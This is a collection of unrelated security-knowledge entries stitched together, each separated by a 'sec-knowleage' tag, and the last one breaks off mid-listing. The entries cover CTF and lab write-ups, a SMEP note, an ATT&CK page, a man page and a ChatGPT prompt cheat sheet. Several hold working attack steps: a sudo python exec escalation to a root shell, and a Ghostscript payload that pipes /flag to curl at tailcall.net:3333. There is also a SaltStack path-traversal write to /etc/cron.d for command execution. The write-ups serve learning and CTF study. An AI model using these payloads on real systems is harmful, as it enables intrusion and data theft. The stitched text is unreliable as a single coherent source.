Last login: Mon Aug 10 18:44:44 2020 from 192.168.1.18 lucy@pyexp:~$ id uid=1000(lucy) gid=1000(lucy) groups=1000(lucy),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev) lucy@pyexp:~$ sudo -l Matching Defaults entries for lucy on pyexp: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User lucy may run the following commands on pyexp: (root) NOPASSWD: /usr/bin/python2 /opt/exp.py ``` 查看`exp.py` ``` lucy@pyexp:~$ cat /opt/exp.py uinput = raw_input('how are you?') exec(uinput) lucy@pyexp:~$ ls -al /opt/exp.py -rw-r--r-- 1 root root 49 Aug 10 2020 /opt/exp.py ``` 提权 ``` lucy@pyexp:~$ sudo -u root /usr/bin/python2 /opt/exp.py how are you?import os; os.system("/bin/sh") # id uid=0(root) gid=0(root) groups=0(root) ```
sec-knowleage
--- title: ChatGPT date: 2023-02-09 10:28:43 background: bg-[#4aa181] tags: - AI - OpenAI - Prompts - Tips categories: - Toolkit intro: This cheat sheet lists out prompts and tips from all over the world on how to use ChatGPT effectively plugins: - copyCode --- Getting Started --------------- ### General - **Name your business or idea** ``` {.wrap} Can you suggest a creative name for my tech startup? ``` ``` {.wrap} Help me come up with a catchy name for my bakery business. ``` - **Create an outline for a course or training program** ``` {.wrap} Please create an outline for a course on web development for beginners. ``` ``` {.wrap} Can you make a training program outline for a customer service workshop? ``` - **Ask you interview questions for a specific job** ``` {.wrap} I'm interviewing for a software engineer position, can you give me some interview questions? ``` ``` {.wrap} Please provide me with some common interview questions for a marketing manager role. ``` - **Give you gift ideas for business partners, customers, or clients** ``` {.wrap} I need gift ideas for my clients, can you help? ``` ``` {.wrap} What are some unique gifts I can give to my business partners? ``` - **Choose a random contest winner(s) from a long list of names or emails** ``` {.wrap} I want to choose a winner from a list of 100 names, can you help? ``` ``` {.wrap} Can you randomly pick 5 email addresses from a list of 1000 for a giveaway contest? ``` {.collapsible} [💡 I Got an IDEA](https://github.com/Fechin/reference/blob/main/source/_posts/chatgpt.md) ### Coding - **Explain why a piece of code isn't working** ``` {.wrap} Why this code is not working? var x = 5; var y = 0; console.log(x/y); ``` - **Explain what a piece of code means** ``` {.wrap} What this code does? function addNumbers(a, b) { return a + b; } ``` - **Rewrite the code using the specified language** ``` {.wrap} Translate this code into Python: function addNumbers(a, b) { return a + b; } ``` - **Code an entire software program** ``` {.wrap} Write a program that calculates the factorial of a given number in python? ``` ``` {.wrap} How do I make an HTTP request in Javascript? ``` - **Generate regular expressions (regex)** ``` {.wrap} Create a regex that matches all email addresses? ``` ``` {.wrap} Generate 8-digit password regex ``` ``` - **Add comments to your codebase** ``` {.wrap} Add comments to this code: function addNumbers(a, b) { return a + b; } ``` - **Change the CSS of a line of code** ``` {.wrap} Update the CSS for this line to change the font color to blue? <p class="example">Hello, QuickRef.ME!</p> ``` - **Change the HTML of a line of code** ``` {.wrap} Add a class of "header" to this header tag? <h1>Hello, QuickRef.ME!</h1> ``` {.collapsible} [💡 I Got an IDEA](https://github.com/Fechin/reference/blob/main/source/_posts/chatgpt.md) ### Email - **Creating email campaigns** ``` {.wrap} Email inviting Jack to dinner on the weekend ``` ``` {.wrap} Create an email sequence for our new customer onboarding process ``` ``` - **Format and proofread email** ``` {.wrap} Proofread and format this email I just wrote: Hello, do you have any actual tips or tricks for ChatGPT please? ``` - **Provides tips for effective email marketing** ``` {.wrap} Give me some tips on how to increase open and click-through rates for my email campaigns ``` ``` {.wrap} Suggest ways to make my email content more engaging and relevant to my subscribers. ``` ``` - **Automate email responses** ``` {.wrap} Email him, "That's a good suggestion, it's coming soon": Hello, do you have any actual tips or tricks for ChatGPT please? ``` - **Extract email address from text** ``` {.wrap} Extract all email addresses for me: Sed sit amet sodales tom@gmail.com, at jack@quickref.me enim. 18261@outlook.com ut eros ``` {.collapsible} [💡 I Got an IDEA](https://github.com/Fechin/reference/blob/main/source/_posts/chatgpt.md) ### Spreadsheets - **Help create a spreadsheet formula** ``` {.wrap} Can you help me create a formula to calculate the sum of cells A1 to A10? ``` - **Explain a formula to you** ``` {.wrap} Can you explain the meaning of the formula =SUM(A1:A10) in simple terms? ``` - **Create dummy data for placeholders** ``` {.wrap} Can you generate dummy data for me to use as placeholders in my spreadsheet? ``` - **Help create a complex macro** ``` {.wrap} I need to create a macro that calculates the average of cells B1 to B10 and inserts the result in cell C1. Can you help me with that? ``` - **Provide tips for improving spreadsheet efficiency** ``` {.wrap} Can you give me some tips on how to improve the efficiency of my spreadsheet? ``` {.collapsible} [💡 I Got an IDEA](https://github.com/Fechin/reference/blob/main/source/_posts/chatgpt.md) ### Social Media - **Give you ideas for memes on any topic** ``` {.wrap} Can you give me some meme ideas for [dogs]? ``` - **Give you an idea for a post that can drive engagement on any topic** ``` {.wrap} I want to create a post about climate change that can engage my followers. Can you help me with some ideas? ``` - **Generate hashtags and captions** ``` {.wrap} I need some hashtags and a caption for a picture of a scenic sunset. Can you generate some for me? ``` - **Offer suggestions reply** ``` {.wrap} I just received an message asking about the status of a project. Can you suggest a reply for me? ``` {.collapsible} [💡 I Got an IDEA](https://github.com/Fechin/reference/blob/main/source/_posts/chatgpt.md) ### Reading - **Summarize long selections of text** ``` {.wrap} Can you please summarize this article for me? [your text] ``` - **Translate foreign languages** ``` {.wrap} Can you translate this sentence into Spanish? [your text] ``` - **Books that are like another book** ``` {.wrap} Can you recommend books similar to 'The Hunger Games'? ``` {.collapsible} [💡 I Got an IDEA](https://github.com/Fechin/reference/blob/main/source/_posts/chatgpt.md) ### Design - **Create an AI design prompt for you** ``` {.wrap} Can you help me generate a design prompt for a logo for a new sports brand? ``` - **Suggestions on thumbnails for blogs or videos** ``` {.wrap} Can you recommend some eye-catching thumbnail designs for my latest YouTube video on healthy eating? ``` - **Font pairings** ``` {.wrap} Can you suggest a font pairing for a travel blog header design? ``` - **Color pairings** ``` {.wrap} Can you recommend a color palette for a wedding photography website? ``` {.collapsible} [💡 I Got an IDEA](https://github.com/Fechin/reference/blob/main/source/_posts/chatgpt.md) ### Analyzing Data - **Pull out numbers from large chunks of text** ``` {.wrap} Please extract all the numbers from this text: [your text] ``` - **Create tables from the text or data you provide** ``` {.wrap} Can you create a table from this data?: [your data] ``` - **Filter data from large lists** ``` {.wrap} Please filter this list based on certain criteria: [your list] ``` {.collapsible} [💡 I Got an IDEA](https://github.com/Fechin/reference/blob/main/source/_posts/chatgpt.md) ### Paid Ads - **Give you ad creative ideas** ``` {.wrap} Give me ad creative ideas for a new product launch. ``` - **Review the tracking code for errors (tag manager, etc.)** ``` {.wrap} Review my tag manager code for errors ``` - **Give you ad copy ideas** ``` {.wrap} Suggest ad copy for a [travel] company ``` - **Facebook audience suggestions** ``` {.wrap} Recommend a Facebook audience for a clothing line ad campaign ``` - **Create body text, headlines and/or calls to action for your ads** ``` {.wrap} Create headlines, body text, and calls to action for a new fitness program ad. ``` {.collapsible} [💡 I Got an IDEA](https://github.com/Fechin/reference/blob/main/source/_posts/chatgpt.md) ### Amazon FBA - **Write or rewrite your product descriptions** ``` {.wrap} Please help me write a new and compelling product description for my latest item. ``` - **Write or rewrite appeal letters** ``` {.wrap} I need help rewriting my appeal letter to make it more persuasive. ``` - **Write or rewrite supplier outreach emails** ``` {.wrap} Can you please help me write an effective email to reach out to potential suppliers? ``` - **Help you find items that could be sold as bundles** ``` {.wrap} Please suggest some items that would make a good bundle for our customers. ``` - **Organize product and pricing data** ``` {.wrap} Can you help me organize my product and pricing information into a neat and manageable spreadsheet? ``` {.collapsible} [💡 I Got an IDEA](https://github.com/Fechin/reference/blob/main/source/_posts/chatgpt.md) ### Writing/Blogging - **Create titles for any of your creative writing projects** ``` {.wrap} Titles for my short story collection: [your article] ``` - **Create outlines** ``` {.wrap} Outline for an essay on exercise ``` - **Generate content ideas** ``` {.wrap} Ideas for a blog on sustainable fashion? ``` - **Summarize any text you give it** ``` {.wrap} Summarize this article on renewable energy? [your article] ``` - **Create entire blog posts** ``` {.wrap} Blog post on [financial planning]? ``` - **Expand on a sentence, paragraph, or long text selection** ``` {.wrap} Expand this sentence on jazz music? [your sentence] ``` - **Change the tone of your writing** ``` {.wrap} Change tone of this report to conversational? [your report] ``` - **Proofread or edit your writing** ``` {.wrap} Proofread this article? [your article] ``` - **Format text with headings (great for blog posts)** ``` {.wrap} Format headings for my blog post? [your post] ``` - **Check any text for bias** ``` {.wrap} Check this article for bias? [your article] ``` - **Detect plagiarism in any text** ``` {.wrap} Detect plagiarism in this paper? [your paper] ``` - **Provide you with domain name ideas** ``` {.wrap} Domain name for my [gardening blog]? ``` {.collapsible} [💡 I Got an IDEA](https://github.com/Fechin/reference/blob/main/source/_posts/chatgpt.md) ### Teachers/Course Creators - **Turn a list of facts or statistics into multiple-choice quizzes** ``` {.wrap} Can you turn this list of facts about world history into a multiple-choice quiz? [your list] ``` - **Assignment ideas on a specific topic** ``` {.wrap} I need some ideas for a history assignment on the American Revolution. Can you suggest some? ``` - **Create assigned groups from a list of students** ``` {.wrap} I have a list of 30 students in my class. Can you divide them into groups of 6 for group projects? ``` - **Create a curve based on test scores** ``` {.wrap} I need to create a grading curve for my class based on their test scores. Can you help? ``` - **Grade an assignment** ``` {.wrap} Can you grade this history essay and provide feedback on any areas for improvement? ``` {.collapsible} [💡 I Got an IDEA](https://github.com/Fechin/reference/blob/main/source/_posts/chatgpt.md) ### YouTube - **Create timestamps from a transcript** ``` {.wrap} Can you create timestamps for this transcript of a podcast episode? [your transcript] ``` - **Convert YouTube videos to blog posts with formatting** ``` {.wrap} Can you turn this YouTube video about cooking into a blog post with headings and bullet points? [video link] ``` - **Come up with a video outline or script** ``` {.wrap} I need an outline for a video about the benefits of meditation. Can you help? ``` - **Create a response to a comment** ``` {.wrap} Can you write a thoughtful and polite response to this negative comment on my YouTube video? ``` - **Give you ideas for your thumbnails** ``` {.wrap} I need some ideas for a thumbnail for my video on 'DIY home decor'. Can you suggest some? ``` - **Analyze your script or transcript and tell you the tone of it** ``` {.wrap} Can you analyze this script for a video about environmental issues and tell me what the tone is? [your script] ``` - **Video ideas on any topic** ``` {.wrap} I want to make a series of videos about fashion. Can you suggest some ideas for individual episodes? ``` {.collapsible} [💡 I Got an IDEA](https://github.com/Fechin/reference/blob/main/source/_posts/chatgpt.md) ### Research - **Help research anything that happened before 2021** ``` {.wrap} Explain quantum computing in simple terms ``` ``` {.wrap} Got any creative ideas for a 10 year old’s birthday? ``` ``` {.wrap} How do I make an HTTP request in Javascript? ``` ``` {.wrap} Can you tell me about the events leading up to the American Civil War? ``` ``` {.wrap} What can you tell me about the invention of the printing press? ``` ``` {.wrap} Can you research the history of the Olympic Games? ``` ``` {.wrap} Can you give me information about the French Revolution? ``` ``` {.wrap} I'm interested in the history of the Byzantine Empire. Can you help me learn more? ``` ``` {.wrap} etc... ``` ``` {.collapsible} [💡 I Got an IDEA](https://github.com/Fechin/reference/blob/main/source/_posts/chatgpt.md) ### SEO - **Generate or find keywords** ``` {.wrap} Generate a list of related keywords for [topic] ``` ``` {.wrap} Identify long-tail keywords for [topic] content optimization ``` ``` {.wrap} Find top-performing keywords for [topic] ``` ``` {.wrap} Generate a list of LSI keywords for [topic] ``` ``` {.wrap} Find keywords with low competition for [topic] ``` ``` {.wrap} Create a list of synonyms for [topic] keywords ``` ``` {.wrap} Find the best keywords for [topic] PPC campaigns ``` ``` {.wrap} Find the best keywords for [topic] voice search optimization ``` ``` {.wrap} List the best keywords for [topic] featured snippets ``` ``` {.wrap} Find the best keywords for [topic] video optimization ``` ``` {.wrap} Find the best keywords for [topic] ``` ``` {.wrap} Find the best keywords for [topic] AMP optimization ``` ``` {.wrap} Find the best keywords for [topic] social media optimization ``` ``` - **More ChatGPT prompts about SEO** {.active} ``` {.wrap} Create meta descriptions and title tags for [topic] ``` ``` {.wrap} Find opportunities for internal linking related to [topic] ``` ``` {.wrap} Generate ideas for blog posts and article topics on [topic] ``` ``` {.wrap} Research industry-specific terminology for use in [topic] content ``` ``` {.wrap} Find authoritative websites to acquire backlinks for [topic] content ``` ``` {.wrap} Create an XML sitemap example related to [topic] ``` ``` {.wrap} Research the best meta tags for [topic] ``` ``` {.wrap} Research the best internal linking structure for [topic] content ``` ``` {.wrap} Generate a list of questions people ask about [topic] ``` ``` {.wrap} Create a list of the best alt tags for images related to [topic] ``` ``` {.wrap} Create a list of related subtopics for [topic] ``` ``` {.wrap} Find the best time to publish content related to [topic] ``` ``` {.wrap} Research the best external linking strategies for [topic] ``` ``` {.wrap} Find the most popular tools used for [topic] SEO ``` ``` {.wrap} Create a list of potential influencers for [topic] ``` ``` {.wrap} Research the best schema markup for [topic] ``` ``` {.wrap} Find the best header tags for [topic] content ``` ``` {.wrap} Create a list of potential link-building opportunities for [topic] ``` ``` {.wrap} Research the best anchor text for [topic] backlinks ``` ``` {.wrap} Create a list of potential guest blogging opportunities for [topic] ``` ``` {.wrap} Research the best local SEO strategies for [topic] ``` ``` {.wrap} Research the best analytics tools for [topic] website performance ``` ``` {.wrap} Create a list of potential partnerships for [topic] ``` ``` {.wrap} Research the best tactics for [topic] mobile optimization ``` ``` {.wrap} Research the best tactics for [topic] e-commerce optimization. Provide keyword clusters. ``` ``` {.wrap} Create a list of potential affiliate marketing opportunities for [topic] ``` ``` {.wrap} What are the best affiliate marketing websites for [topic] ``` ``` {.wrap} What are the best tactics for [topic] international SEO ``` ``` {.wrap} Create a list of potential podcast or podcast guest opportunities for [topic] ``` ``` {.wrap} Research the best tactics for [topic] Google My Business optimization ``` ``` {.wrap} Find popular content topics related to [topic] ``` ``` {.wrap} Research the best SEO tactics for [topic] and provide actionable steps ``` ``` {.wrap} Create a list of potential video series or webinar ideas related to [topic] ``` ``` {.wrap} Research competitor strategies related to [topic] ``` ``` {.wrap} Find canonical tag examples related to [topic] ``` ``` {.wrap} Create an example keyword list targeting multiple geographic locations for [topic] ``` ``` {.wrap} Generate keyword ideas targeting different stages of the customer purchase funnel for [topic] ``` ``` {.wrap} Identify industry hashtags related to [topic]. ``` {.collapsible} [💡 I Got an IDEA](https://github.com/Fechin/reference/blob/main/source/_posts/chatgpt.md) Also see -------- - [Awesome ChatGPT Prompts](https://github.com/f/awesome-chatgpt-prompts) _(github.com)_ <style> em { font-size: 0.785em; } strong {font-weight: 400;} ul.collapsible > li > pre { padding-left: 0; padding-right: 0; font-size: 0.925em;} </style>
sec-knowleage
# hxp CTF 2018 Team: c7f.m0d3, chivay, rodbert, Eternal, des, rev, nazywam, akrasuski1, shalom ### Table of contents * [Tiny elves fake (misc)](misc_elves) * [Daring (crypto)](crypto_daring) * [UFF (crypto)](crypto_uff) * [Curve12833227 (crypto)](crypto_curve12833227)
sec-knowleage
### 用户代码不可执行场景介绍 起初,在内核态执行代码时,可以直接执行用户态的代码。那如果攻击者控制了内核中的执行流,就可以执行处于用户态的代码。由于用户态的代码是攻击者可控的,所以更容易实施攻击。为了防范这种攻击,研究者提出当位于内核态时,不能执行用户态的代码。在 Linux 内核中,这个防御措施的实现是与指令集架构相关的。 ### x86 - SMEP - Supervisor Mode Execution Protection的开启与关闭 #### 开启 默认情况下,SMEP 保护是开启的。 如果是使用 qemu 启动的内核,我们可以在 `-append` 选项中添加 `+smep` 来开启 SMEP。 #### 关闭 在 `/etc/default/grub` 的如下两行中添加 nosmep ``` GRUB_CMDLINE_LINUX_DEFAULT="quiet" GRUB_CMDLINE_LINUX="initrd=/install/initrd.gz" ``` 然后运行 `update-grub` 并且重启系统就可以关闭 smep。 如果是使用 qemu 启动的内核,我们可以在 `-append` 选项中添加 `nosmep` 来关闭 SMEP。 ### x86 - SMEP - Supervisor Mode Execution Protection的状态查看 通过如下命令可以检查 SMEP 是否开启,如果发现了 smep 字符串就说明开启了 smep 保护,否则没有开启。 ```bash grep smep /proc/cpuinfo ``` ### Attack SMEP介绍 把 CR4 寄存器中的第 20 位置为 0 后,我们就可以执行用户态的代码。一般而言,我们会使用 0x6f0 来设置 CR4,这样 SMAP 和 SMEP 都会被关闭。 内核中修改 cr4 的代码最终会调用到 `native_write_cr4`,当我们能够劫持控制流后,我们可以执行内核中的 gadget 来修改 CR4。从另外一个维度来看,内核中存在固定的修改 cr4 的代码,比如在 `refresh_pce` 函数、` set_tsc_mode` 等函数里都有。
sec-knowleage
# T1583-001-购买基础设施-域名 ## 来自ATT&CK的描述 攻击者可能会购买可在对目标进行攻击中使用的域名。域名是用于代表一个或多个IP地址的可读名称。它们可以被购买,或者在某些情况下,免费获得。 攻击者可以将购买的域名用于各种目的,包括网络钓鱼、非法入侵以及C2。攻击者可以选择与合法域名相似的域名,包括通过使用同音字或使用不同的顶级域名(TLD)。攻击者还可以使用国际化域名(IDN)来创建视觉上相似的域名,以便在行动中使用。 域名注册商都有一个可公开查看的数据库,显示每个注册域名的联系信息。WHOIS服务显示私人其他信息,如他们自己的公司数据,而不是域名的所有者。攻击者可能利用这种私人WHOIS服务来掩盖关于谁拥有所购域名的信息。攻击者可能通过使用不同的注册信息、在不同的域名注册商处购买域名,进一步干扰追踪其基础设施。 ## 测试案例 新闻简介:不法分子搭建了某知名外卖平台的钓鱼网站(www.meituam.cn),通过发送短信诈骗该平台入驻商户进行个人信息录入及缴费。该团伙自2020年以来,以木马短信链接的方式作案50余起,涉案资金80余万元,发案地涉及全国21个省份。 <https://www.sohu.com/a/452671903_648183> 同样在某些电商平台,部分号称能够破解apple密码的商家,所谓的软解密,也是用的相同手法,伪造和apple相似域名,发送钓鱼链接给指定的用户,诱使用户点击进入伪造站点,输入账户及密码。从而实现软解密的效果。 ## 检测日志 无法有效监测 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 ### 缓解措施 企业可能故意注册与他们自己的域名相似的域名,以阻止攻击者创建错别字域名。这种技术的其他方面不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。 ### 检测 根据设计,域名注册信息会被记录在公共注册日志中。考虑使用可能有助于跟踪新获得的域名的服务,如WHOIS数据库或被动DNS。在某些情况下,有可能通过已知的域名注册信息来发现攻击者购买的其他基础设施。考虑监测与你自己的域名结构相似的域名,包括在不同的顶级域名下创建的域名。尽管存在各种工具和服务来跟踪、查询和监测域名注册信息,但跟踪多个DNS基础设施可能需要多种工具、服务或更高级的分析方法。 检测工作可能集中在攻击生命周期的相关阶段,如初始访问和指挥与控制期间。 ## 相关TIP [[T1583-002-购买基础设施-DNS服务]] [[T1583-003-购买基础设施-虚拟专用服务器]] [[T1583-004-购买基础设施-服务器]] [[T1583-005-购买基础设施-僵尸网络]] [[T1583-006-购买基础设施-web服务]] ## 参考推荐 MITRE-ATT&CK-T1583-001 <https://attack.mitre.org/techniques/T1583/001/> 不法分子高仿某外卖平台网站,入驻商户遭遇“钓鱼攻击” <https://www.sohu.com/a/452671903_648183> 关联 [[]]
sec-knowleage
.\" 版权所有(c) 1993 Michael Haardt (michael@moria.de), Fri Apr 2 11:32:09 MET DST 1993 .\" .\" 这是免费的文档;你可以遵照自由软件基金会出版的GNU通用出版许可版本2或者更高版本的条例来重新发布和/或修改它. .\" .\" GNU通用出版许可中涉及到的"目标代码(object code)"和"可执行程序(executables)"可解释为任意文档格式化的输出或者排版系统,包括中间的和已输出的结果. .\" .\" 该文档的发布寄望于能够实用,但并不做任何担保;甚至也不提供隐含的商品性的保证或者针对特殊目的适用性.参见GNU通用版权许可以获知详情. .\" .\" 你应该接收到与本文档一同发布的GNU通用版权许可的副本;如果没有,请写信到自由软件基金会(Free Software Foundation), Inc., 59 Temple Place, Suite 330, Boston, MA 02111, .\" USA. .\" .\" 于1993年1月24日星期六17:17:50由Rik Faith <faith@cs.unc.edu>修改 .\" 于1995年10月19日星期四21:25:21 MET由Martin Schulze <joey@infodrom.north.de>修改 .\" 于1996年10月21日星期一17:47:19 EDT由Eric S. Raymond .\" <esr@thyrsus.com>xk修改 .TH TTYTYPE 5 "1993年7月24日" "Linux" "Linux Programmer's Manual(Linux程序员手册)" .SH NAME(名称) ttytype \- 终端设备映射的默认终端类型 .SH DESCRIPTION(描述) .I /etc/ttytype 文件把termcap/terminfo中的终端类型名与tty行关联起来.每行包括一种终端类型,后面跟着空格,然后是tty名(不带 .IR /dev/ " ) 前缀." 这种关联被 .BR tset (1) 程序用来针对用户当前的tty设置环境变量TERM为默认终端名. 这项功能设计是为了Unix微机连接的字符类终端发挥传统分时作业的特色.这在现代的Unix工作站和个人Unix机上很少使用. .SH EXAMPLE(示例) .I /etc/ttytype 为: .RS .sp con80x25 tty1 .br vt320 ttys0 .sp .RE .SH FILES(相关文件) .TP .I /etc/ttytype tty定义文件. .SH "SEE ALSO"(另见) .BR getty "(1), " terminfo "(5), " termcap "(5)" .SH "[中文版维护人]" .B riser <boomer@ccidnet.com> .SH "[中文版最新更新]" .B 2000/11/01 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# Slack emoji converter (web, 267p, 29 solved) ``` create your own emoji for Slack at http://emoji.chal.ctf.westerns.tokyo ``` This task is a perfect example of CTF challenge naming conventions - because the challenge has absolutely zero relation to slack, emojis, and conversions. We are expected to exploit the website http://emoji.chal.ctf.westerns.tokyo/. The first challenge was to figure out how to drag&drop files from my heavily modified linux installation with i3wm and progressively more completely corrupted APT database. To be honest, I just took the easy way out and used a Windows VM. Anyway the real challenge was to read the source code and find vulnerability: ```python from flask import ( Flask, render_template, request, redirect, url_for, make_response, ) from PIL import Image import tempfile import os app = Flask(__name__) @app.route('/') def index(): return render_template('index.html') @app.route('/source') def source(): return open(__file__).read() @app.route('/conv', methods=['POST']) def conv(): f = request.files.get('image', None) if not f: return redirect(url_for('index')) ext = f.filename.split('.')[-1] fname = tempfile.mktemp("emoji") fname = "{}.{}".format(fname, ext) f.save(fname) img = Image.open(fname) w, h = img.size r = 128/max(w, h) newimg = img.resize((int(w*r), int(h*r))) newimg.save(fname) response = make_response() response.data = open(fname, "rb").read() response.headers['Content-Disposition'] = 'attachment; filename=emoji_{}'.format(f.filename) os.unlink(fname) return response ``` See it yet? No? Probably because there's none. This means that there is 90% chance that ghostscript guys screwed up something again and whole internet is on fire (for example, just using PIL makes you vulnerable). So I quickly googled something equivalent to `how do I pwn ghostscript in 2018` and found [this gem](http://openwall.com/lists/oss-security/2018/08/21/2): http://openwall.com/lists/oss-security/2018/08/21/2. This looked really interesting (announcement was from only few days ago!) - I decided to give it a try. Of course not a single exploit worked on my broken good-for-nothing machine, so I almost lost hope at that moment. We almost spent 3 more hours searching for a different solution. Fortunately, I decided to craft one more exploit and send it to remote server as a last resort (via my Windows VM, of course). And you guessed it, it worked. Interesting fragment from the explot: ``` a5 1 .pushpdf14devicefilter save legal restore mark /OutputFile (%pipe%cat /flag | curl tailcall.net:3333 -X POST -d @/dev/stdin) currentdevice putdeviceprops showpage ``` Whole exploit file [circle.eps](circle.eps). `TWCTF{watch_0ut_gh0stscr1pt_everywhere}`
sec-knowleage
# SaltStack 任意文件读写漏洞(CVE-2020-11652) SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。国外某安全团队披露了 SaltStack 存在认证绕过漏洞(CVE-2020-11651)和目录遍历漏洞(CVE-2020-11652)。 在 CVE-2020-11652 目录遍历漏洞中,攻击者通过构造恶意请求,可以读取、写入服务器上任意文件。 参考链接: - https://labs.f-secure.com/advisories/saltstack-authorization-bypass - [https://github.com/rossengeorgiev/salt-security-backports][1] - [https://github.com/jasperla/CVE-2020-11651-poc][2] ## 漏洞环境 执行如下命令启动一个SaltStack Master服务: ``` docker compose up -d ``` 环境启动后,将会在本地监听如下端口: - 4505/4506 这是SaltStack Master与minions通信的端口 - 8000 这是Salt的API端口 - 2222 这是容器内部的SSH服务器监听的端口 ## 漏洞复现 本文档复现CVE-2020-11652漏洞,参考漏洞作者的说明: > The wheel module contains commands used to read and write files under specific directory paths. The inputs to these functions are concatenated with the target directory and the resulting path is not canonicalized, leading to an escape of the intended path restriction. wheel/file_roots.py文件中的write方法,使用`os.path.isabs`来判断用户输入是否是绝对路径,可能目的是防止写入其他目录,但实际上攻击者可以通过`../`的方式跳转至根目录,进而写入任意文件: ``` msg = { 'key': root_key, 'cmd': 'wheel', 'fun': 'file_roots.write', 'path': '../../path/to/target', 'data': 'test' # 'saltenv': 'base', } ``` 参考[这个项目][1],编写一个简单的POC,写入`/etc/cron.d/shell`,利用crontab执行任意命令: ![](1.png) `id > /tmp/success`成功被执行。 也可以通过这个[POC][2]来复现该漏洞。 [1]: https://github.com/rossengeorgiev/salt-security-backports [2]: https://github.com/jasperla/CVE-2020-11651-poc
sec-knowleage
## Big Lie (forensic, 100p, 101 solves) > Find the [flag](biglie.pcap). ### PL [ENG](#eng-version) Otrzymany plik pcap ładujemy do Wiresharka i na podstawie wyeksportowanych obiektach z sesji HTTP dochodzimy do wniosku, że użytkownik skorzystał z usługi pastebin, która przed wysłaniem danych szyfruje je lokalnie, a klucz przesyłany jest za pomocą części "fragment" (to, co za `#`) URLa. Jest to część, która nie jest częścią requestu HTTP i nie jest przesyłana serwerowi (i tym samym nie znalazło się w zrzucie danych sieciowych). Ale po dalszej analizie sesji HTTP znajdujemy pełnego URLa (razem z kluczem) w requestach do wewnętrznej usługi monitorującej ruch. ![](img1.png) Po urldecode: ![](img2.png) Zawartość "pasty": ![](img3.png) Po przeklejeniu do edytora z wyłączonym word-wrap: ![](img4.png) `ASIS{e29a3ef6f1d71d04c5f107eb3c64bbbb}` ### ENG version We load the inpit pcap file in Wireshark and based on the exported HTTP session objects we conclude that the user was using pastebin service which locally encrypts the data before sending them, and the key is sent via "fragment" of the URL (what is after `#`). It's the part that is not a part of HTTP request and is not sent to the server (and therefore it's not in the network communication dump). However after firther analysis of the HTTP session we find the full URL (the encryption key included) in requests for internal traffic monitoring service. ![](img1.png) After urldecode: ![](img2.png) pastebin contents: ![](img3.png) When placed in an editor with word-wrap: ![](img4.png) `ASIS{e29a3ef6f1d71d04c5f107eb3c64bbbb}`
sec-knowleage
# Plague of Boils ## Description > > “So the Lord said to Moses and Aaron, ‘Take for yourselves handfuls of ashes from a furnace, and let Moses scatter it toward the heavens in the sight of Pharaoh. And it will become fine dust in all the land of Egypt, and it will cause boils that break out in sores on man and beast throughout all the land of Egypt’” (Exodus 9:8-9). > > Wow! so many folders. You know, sometime, what's in front of you is not what you think it is. Maybe if you'll look at it from a different perspective you'll see it. A RAR file was attached. ## Solution We extract the RAR to get the following folder structure: ```console ┌──(user@kali)-[/media/sf_CTFs/basmach/Plague_of_boils/New_folder] └─$ tree -v . └── New folder ├── New folder │   ├── New folder │   │   ├── New folder │   │   │   ├── New folder │   │   │   ├── New folder (2) │   │   │   │   └── New folder │   │   │   ├── New folder (3) │   │   │   └── New folder (4) │   │   └── New folder (2) │   │   ├── New folder (5) │   │   ├── New folder (6) │   │   ├── New folder (7) │   │   │   └── New folder │   │   └── New folder (8) │   ├── New folder (2) │   │   ├── New folder │   │   │   ├── New folder │   │   │   ├── New folder (2) │   │   │   │   └── New folder │   │   │   ├── New folder (3) │   │   │   └── New folder (4) │   │   │   └── New folder │   │   └── New folder (2) │   │   ├── New folder (5) │   │   ├── New folder (6) │   │   ├── New folder (7) │   │   │   └── New folder │   │   └── New folder (8) │   │   └── New folder │   ├── New folder (3) │   │   ├── New folder │   │   │   ├── New folder │   │   │   ├── New folder (2) │   │   │   │   └── New folder │   │   │   ├── New folder (3) │   │   │   └── New folder (4) │   │   └── New folder (2) │   │   ├── New folder (5) │   │   │   └── New folder │   │   ├── New folder (6) │   │   │   └── New folder │   │   ├── New folder (7) │   │   └── New folder (8) │   │   └── New folder │   ├── New folder (4) │   │   ├── New folder │   │   │   ├── New folder │   │   │   ├── New folder (2) │   │   │   │   └── New folder │   │   │   ├── New folder (3) │   │   │   └── New folder (4) │   │   └── New folder (2) │   │   ├── New folder (5) │   │   ├── New folder (6) │   │   ├── New folder (7) │   │   │   └── New folder │   │   └── New folder (8) │   │   └── New folder │   ├── New folder (5) │   │   ├── New folder │   │   │   ├── New folder │   │   │   ├── New folder (2) │   │   │   │   └── New folder │   │   │   ├── New folder (3) │   │   │   └── New folder (4) │   │   └── New folder (2) │   │   ├── New folder (5) │   │   │   └── New folder │   │   ├── New folder (6) │   │   ├── New folder (7) │   │   └── New folder (8) │   ├── New folder (6) │   │   ├── New folder │   │   │   ├── New folder │   │   │   ├── New folder (2) │   │   │   │   └── New folder │   │   │   ├── New folder (3) │   │   │   │   └── New folder │   │   │   └── New folder (4) │   │   │   └── New folder │   │   └── New folder (2) │   │   ├── New folder (5) │   │   │   └── New folder │   │   ├── New folder (6) │   │   ├── New folder (7) │   │   │   └── New folder │   │   └── New folder (8) │   │   └── New folder │   ├── New folder (7) │   │   ├── New folder │   │   │   ├── New folder │   │   │   ├── New folder (2) │   │   │   │   └── New folder │   │   │   ├── New folder (3) │   │   │   └── New folder (4) │   │   └── New folder (2) │   │   ├── New folder (5) │   │   ├── New folder (6) │   │   ├── New folder (7) │   │   └── New folder (8) │   │   └── New folder │   ├── New folder (8) │   │   ├── New folder │   │   │   ├── New folder │   │   │   ├── New folder (2) │   │   │   │   └── New folder │   │   │   ├── New folder (3) │   │   │   └── New folder (4) │   │   │   └── New folder │   │   └── New folder (2) │   │   ├── New folder (5) │   │   ├── New folder (6) │   │   ├── New folder (7) │   │   │   └── New folder │   │   └── New folder (8) │   │   └── New folder │   ├── New folder (9) │   │   ├── New folder │   │   │   ├── New folder │   │   │   ├── New folder (2) │   │   │   │   └── New folder │   │   │   ├── New folder (3) │   │   │   └── New folder (4) │   │   └── New folder (2) │   │   ├── New folder (5) │   │   │   └── New folder │   │   ├── New folder (6) │   │   ├── New folder (7) │   │   └── New folder (8) │   │   